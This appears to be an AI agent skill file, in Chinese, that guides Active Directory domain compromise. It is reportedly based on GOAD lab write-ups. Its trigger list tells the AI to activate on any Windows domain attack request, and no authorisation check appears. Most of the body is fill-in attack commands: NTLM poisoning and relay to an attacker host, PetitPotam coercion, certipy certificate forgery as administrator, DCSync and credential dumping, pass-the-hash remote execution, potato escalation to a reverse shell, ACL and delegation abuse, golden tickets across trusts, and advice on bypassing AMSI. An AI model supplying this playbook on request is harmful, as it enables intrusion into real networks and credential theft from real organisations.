| name | ad-pentest |
| description | Active Directory 域渗透全链路指导技能。基于 GOAD (Game of Active Directory) 靶场实战经验,
涵盖从初始侦察、用户枚举、密码攻击、中继与投毒、ADCS证书攻击、MSSQL利用、提权、
横向移动、凭据提取、ACL滥用、委派攻击、域信任利用到域控拿下的完整渗透链。
当用户提到以下任何关键词时,务必触发此技能:
AD渗透、域渗透、Active Directory、域控攻击、内网渗透、kerberoasting、AS-REP roasting、
NTLM relay、responder、bloodhound、certipy、ADCS、ESC1-ESC15、PetitPotam、
noPac、PrintNightmare、横向移动、pass the hash、golden ticket、silver ticket、
DCSync、secretsdump、mimikatz、委派攻击、delegation、ACL滥用、域信任、
forest trust、提权、SeImpersonate、KrbRelay、MSSQL提权、webshell、
凭据收集、密码喷洒、password spray、域枚举、SMB签名、coercer、
shadow credentials、certifried、RBCD、GPO abuse、LAPS、
即使用户没有明确说"域渗透",只要涉及Windows域环境的攻击场景都应使用此技能。
|
AD域渗透全链路指导
本技能基于对 GOAD (Game of Active Directory) 靶场的 14 篇实战 writeup 的深度学习,提供从零到域控的完整攻击链指导。每个阶段都包含实际可用的工具命令和攻击判断逻辑。
使用方式
根据用户当前所处的渗透阶段,提供对应的攻击思路、工具命令和下一步建议。如果用户描述了具体的网络环境信息(IP、域名、已有凭据等),将示例命令中的占位符替换为实际值。
当需要某个阶段的详细命令参考时,读取 references/ 目录下对应的参考文档:
references/01-recon-enum.md — 侦察与枚举阶段
references/02-credential-attacks.md — 凭据攻击(Kerberoasting、密码喷洒、AS-REP等)
references/03-relay-poison.md — 中继与投毒攻击
references/04-adcs.md — ADCS证书攻击(ESC1-ESC15全覆盖)
references/05-mssql.md — MSSQL利用
references/06-privesc.md — 本地提权
references/07-lateral-movement.md — 横向移动与凭据提取
references/08-acl-abuse.md — ACL滥用攻击链
references/09-delegation.md — 委派攻击
references/10-domain-trust.md — 域信任利用
references/11-coerce-social.md — 强制认证与域内社工
攻击链总览
域渗透是一个逐步升级权限的过程,典型攻击链如下:
Phase 1: 侦察与枚举
├─ 网络发现 (cme/nxc smb扫描, nmap)
├─ 域结构识别 (域名、DC、信任关系)
├─ 匿名枚举 (用户列表、共享、密码策略)
└─ 有凭据枚举 (BloodHound、certipy、DNS dump)
Phase 2: 初始凭据获取
├─ AS-REP Roasting (无需密码)
├─ 密码喷洒 (username=password, 季节+年份)
├─ Kerberoasting (需一个域用户)
├─ NTLM Relay / 投毒 (Responder)
└─ ADCS ESC8 (PetitPotam + NTLM relay到Web Enrollment)
Phase 3: 域内利用与提权
├─ ADCS证书攻击 (ESC1-ESC15)
├─ noPac / SamAccountName
├─ PrintNightmare
├─ MSSQL链接服务器 / 模拟
├─ ACL攻击链 (GenericAll → WriteDACL → ...)
├─ 委派攻击 (Unconstrained, Constrained, RBCD)
└─ 域信任提权 (Child→Parent, Forest→Forest)
Phase 4: 横向移动
├─ 凭据提取 (SAM, LSA, LSASS, NTDS)
├─ Pass the Hash / Over-Pass the Hash
├─ 远程执行 (psexec, wmiexec, smbexec, dcomexec)
└─ RDP会话劫持
Phase 5: 域控拿下
├─ DCSync (secretsdump)
├─ Golden Ticket / Silver Ticket
├─ Golden Certificate (ADCS CA密钥提取)
└─ 持久化
Phase 1: 侦察与枚举
核心判断逻辑
- 先跑 cme/nxc SMB 扫描:快速获取所有 Windows 机器的 NetBIOS 名、域名、OS 版本、SMB 签名状态
- 识别 DC:SMB 签名为 true 的通常是域控(默认配置)
- 签名为 false 的机器是 NTLM relay 的潜在目标
- 检查匿名访问:尝试匿名枚举用户列表、共享、密码策略
关键命令
nxc smb <CIDR>
nmap -Pn -p- -sC -sV -oA full_scan <TARGET_IPS>
nxc smb <DC_IP> --users
enum4linux <DC_IP>
rpcclient -U "" <DC_IP> -N
nxc smb <IP_RANGE> -u 'a' -p '' --shares
nmap -p 88 --script=krb5-enum-users \
--script-args="krb5-enum-users.realm='<DOMAIN>',userdb=<USERLIST>" <DC_IP>
获得域用户凭据后的枚举
bloodhound-python -u <USER> -p '<PASS>' -d <DOMAIN> -dc <DC_FQDN> -c All
certipy find -u <USER>@<DOMAIN> -p '<PASS>' -dc-ip <DC_IP>
adidnsdump -u <DOMAIN>\\<USER> -p '<PASS>' <DC_IP>
GetADUsers.py -all <DOMAIN>/<USER>:'<PASS>'
Phase 2: 初始凭据获取
攻击选择决策树
无任何凭据?
├─ 匿名枚举成功获取用户列表?
│ ├─ YES → AS-REP Roasting + 密码喷洒
│ └─ NO → Kerberos用户枚举 + NTLM投毒 (Responder)
├─ 网络中有Web Enrollment (HTTP/HTTPS on CA)?
│ └─ YES → PetitPotam + ESC8 (无需认证直接获取DA)
└─ 有链路层访问?
└─ YES → Responder
有一个低权限域用户?
├─ Kerberoasting
├─ certipy枚举 → ADCS攻击
├─ BloodHound → ACL攻击链
├─ 密码喷洒 (扩大战果)
└─ 委派攻击枚举
关键命令
GetNPUsers.py <DOMAIN>/ -no-pass -usersfile users.txt
nxc smb <DC_IP> -u users.txt -p users.txt --no-bruteforce
GetUserSPNs.py <DOMAIN>/<USER>:'<PASS>' -outputfile kerberoast.hash
john --format=krb5tgs kerberoast.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --format=krb5asrep asrep.hash --wordlist=/usr/share/wordlists/rockyou.txt
密码喷洒常见模式:username=password、SeasonYear!(如 Winter2024!)、CompanyName2024!、123456
详细命令参考:读取 references/02-credential-attacks.md
Phase 3: 中继与投毒
NTLM Relay 前置条件判断
目标SMB签名关闭? ─── 可以relay到SMB
目标有LDAP签名关闭? ── 可以relay到LDAP(S)
目标有Web Enrollment? ── 可以relay到HTTP获取证书 (ESC8)
关键命令
responder -I <INTERFACE>
ntlmrelayx.py -t <TARGET_IP> -smb2support
ntlmrelayx.py -t ldaps://<DC_IP> -wh <ATTACKER_IP> --delegate-access
petitpotam.py <ATTACKER_IP> <DC_IP>
ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support \
--adcs --template DomainController
详细命令参考:读取 references/03-relay-poison.md
Phase 4: ADCS 证书攻击
ADCS 是现代域渗透中最强大的攻击面之一。每种 ESC 漏洞的利用条件和方法不同。
ESC 攻击快速参考
| ESC | 漏洞类型 | 所需权限 | 核心工具 |
|---|
| ESC1 | 模板允许指定SAN | 域用户+Enroll权限 | certipy |
| ESC2 | 模板允许Any Purpose | 域用户+Enroll权限 | certipy |
| ESC3 | Enrollment Agent模板 | 域用户+Enroll权限 | certipy (两步) |
| ESC4 | 模板ACL可写 | 对模板有写权限 | certipy (修改→ESC1) |
| ESC5 | CA私钥可提取/PKI对象可写 | CA管理员 | certipy ca -backup |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 | 域用户+Enroll权限 | certipy |
| ESC7 | ManageCA权限 | ManageCA权限 | certipy (启用SubCA→签发) |
| ESC8 | Web Enrollment + NTLM relay | 网络访问 | ntlmrelayx + PetitPotam |
| ESC9 | CT_FLAG_NO_SECURITY_EXTENSION | 对用户有GenericWrite | certipy + shadow creds |
| ESC10 | 弱证书映射 | 对用户有GenericWrite | certipy + UPN修改 |
| ESC11 | RPC Enrollment + NTLM relay | 网络访问 | certipy |
| ESC13 | Issuance Policy OID链接组 | 域用户+Enroll权限 | certipy |
| ESC14 | altSecurityIdentities写权限 | 对用户有写权限 | certipy |
| ESC15 | Application Policy漏洞(CVE-2024-49019) | 域用户+Enroll权限 | certipy |
基本枚举与利用流程
certipy find -u <USER>@<DOMAIN> -p '<PASS>' -dc-ip <DC_IP> -vulnerable
certipy req -u <USER>@<DOMAIN> -p '<PASS>' -ca <CA_NAME> \
-template <VULN_TEMPLATE> -upn administrator@<DOMAIN> -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
certipy ca -backup -u <ADMIN>@<DOMAIN> -p '<PASS>' -ca <CA_NAME> \
-target <CA_IP> -dc-ip <DC_IP>
certipy forge -ca-pfx <CA_PFX> -upn administrator@<DOMAIN> -subject \
'CN=Administrator,CN=Users,DC=<DOMAIN_PARTS>'
详细命令参考(含 ESC1-ESC15 全部利用步骤):读取 references/04-adcs.md
Phase 5: 横向移动与凭据提取
凭据提取优先级
- SAM数据库 — 本地账户hash(需管理员权限)
- LSA Secrets — 服务账户明文密码、计算机账户密码
- LSASS进程 — 当前登录用户的密码/hash/Kerberos票据
- NTDS.dit — 所有域用户hash(仅DC上,需DA权限)
- 缓存凭据 — 域用户cached logon(需管理员+破解)
关键命令
nxc smb <TARGET_IP> -u <ADMIN> -p '<PASS>' -d <DOMAIN> --sam --lsa --ntds
secretsdump.py <DOMAIN>/<ADMIN>:'<PASS>'@<TARGET_IP>
secretsdump.py <DOMAIN>/<DA_USER>:'<PASS>'@<DC_IP> -just-dc
psexec.py -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
wmiexec.py -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
smbexec.py -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
getTGT.py -hashes :<NT_HASH> <DOMAIN>/<USER>
export KRB5CCNAME=<USER>.ccache
psexec.py -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
LSA Secrets 中的关键信息
LSA secrets 中的 _SC_<servicename> 是服务账户的明文密码。如果某个服务使用域账户运行,可以直接获得该域账户的密码用于横向移动。
详细命令参考:读取 references/07-lateral-movement.md
Phase 6: 提权
从 Service 账户到 SYSTEM
当获得 IIS/MSSQL 等服务账户的 shell 且拥有 SeImpersonatePrivilege 时:
SweetPotato.exe -e EfsRpc -p <REVERSE_SHELL_CMD>
GodPotato.exe -cmd "cmd /c <COMMAND>"
KrbRelayUp (LDAP签名关闭 + 可添加计算机)
nxc ldap <DC_IP> -u <USER> -p '<PASS>' -d <DOMAIN> -M ldap-signing
nxc ldap <DC_IP> -u <USER> -p '<PASS>' -d <DOMAIN> -M MAQ
addcomputer.py -computer-name 'YOURPC$' -computer-pass 'Pass123' \
-dc-host <DC_FQDN> <DOMAIN>/<USER>:'<PASS>'
详细命令参考:读取 references/06-privesc.md
Phase 7: ACL 攻击链
BloodHound 是发现 ACL 攻击路径的最佳工具。常见的 ACL 权限滥用链:
ForceChangePassword → 重置目标密码
GenericWrite on User → 设置SPN → Kerberoasting / 修改scriptPath
WriteDACL → 给自己加GenericAll权限
WriteOwner → 修改对象所有者 → 修改DACL → GenericAll
GenericAll on User → 修改密码 / shadow credentials
GenericAll on Computer → RBCD / shadow credentials / LAPS读取
GenericAll on Group → AddMember
GPO abuse → 通过组策略执行命令
关键命令
net rpc password <TARGET_USER> '<NEW_PASS>' -U <DOMAIN>/<USER>%'<PASS>' \
-S <DC_FQDN>
dacledit.py -action write -rights FullControl -principal <USER> \
-target <TARGET> <DOMAIN>/<USER>:'<PASS>'
rbcd.py -delegate-from <YOUR_COMPUTER>$ -delegate-to <TARGET>$ \
-action write <DOMAIN>/<USER>:'<PASS>'
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASS>' \
set object <GPO_DN> --append member <USER_DN>
详细命令参考:读取 references/08-acl-abuse.md
Phase 8: 委派攻击
三种委派类型
| 类型 | 标识 | 利用方式 |
|---|
| Unconstrained | TrustedForDelegation=True | 强制认证 → 捕获TGT |
| Constrained | msDS-AllowedToDelegateTo | S4U2Self + S4U2Proxy |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity | 需对目标有写权限 |
Constrained Delegation 利用
getST.py -spn <SPN> -impersonate Administrator -dc-ip <DC_IP> \
<DOMAIN>/<SERVICE_USER>:'<PASS>'
export KRB5CCNAME=Administrator.ccache
getST.py -spn <SPN> -impersonate Administrator -altservice cifs/<TARGET> \
-dc-ip <DC_IP> <DOMAIN>/<SERVICE_USER>:'<PASS>'
详细命令参考:读取 references/09-delegation.md
Phase 9: 域信任利用
Child → Parent 域提权
secretsdump.py <CHILD_DOMAIN>/<DA>:'<PASS>'@<CHILD_DC> -just-dc-user krbtgt
lookupsid.py <CHILD_DOMAIN>/<DA>:'<PASS>'@<CHILD_DC>
lookupsid.py <CHILD_DOMAIN>/<DA>:'<PASS>'@<PARENT_DC>
ticketer.py -nthash <KRBTGT_HASH> -domain <CHILD_DOMAIN> \
-domain-sid <CHILD_SID> -extra-sid <PARENT_SID>-519 Administrator
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <PARENT_DOMAIN>/Administrator@<PARENT_DC_FQDN>
Forest 间信任利用
外部 Forest 信任受 SID Filter 限制(RID < 1000 被过滤),但 RID > 1000 的组 SID 可通过。
如果目标 Forest 中有 RID > 1000 的组拥有特殊权限(如通过 ACL),可通过 Golden Ticket + extra-sid 利用。
详细命令参考:读取 references/10-domain-trust.md
重要注意事项
AdminSDHolder 保护机制
域管理员等受保护组的 ACL 每小时由 AdminSDHolder 重置。这意味着:
- 对受保护组/用户设置的 ACL 修改会在 1 小时内失效
- 需要在 ACL 修改后立即利用,或修改 AdminSDHolder 本身
SMB 签名
- DC 默认 SMB 签名 = True(无法 NTLM relay 到 DC 的 SMB)
- 非 DC 默认 SMB 签名 = False(可 relay)
- 检查命令:
nxc smb <IP_RANGE> 输出中的 signing 字段
AMSI 绕过
在获得 PowerShell 会话后执行 .NET 工具前,通常需要先绕过 AMSI:
- Rasta Mouse 反射绕过法
- 远程加载绕过脚本,避免落地磁盘
Kerberos 认证注意
使用 Kerberos 认证(-k 参数)时,目标必须用 FQDN 而非 IP,且需正确配置 /etc/krb5.conf 和 /etc/hosts。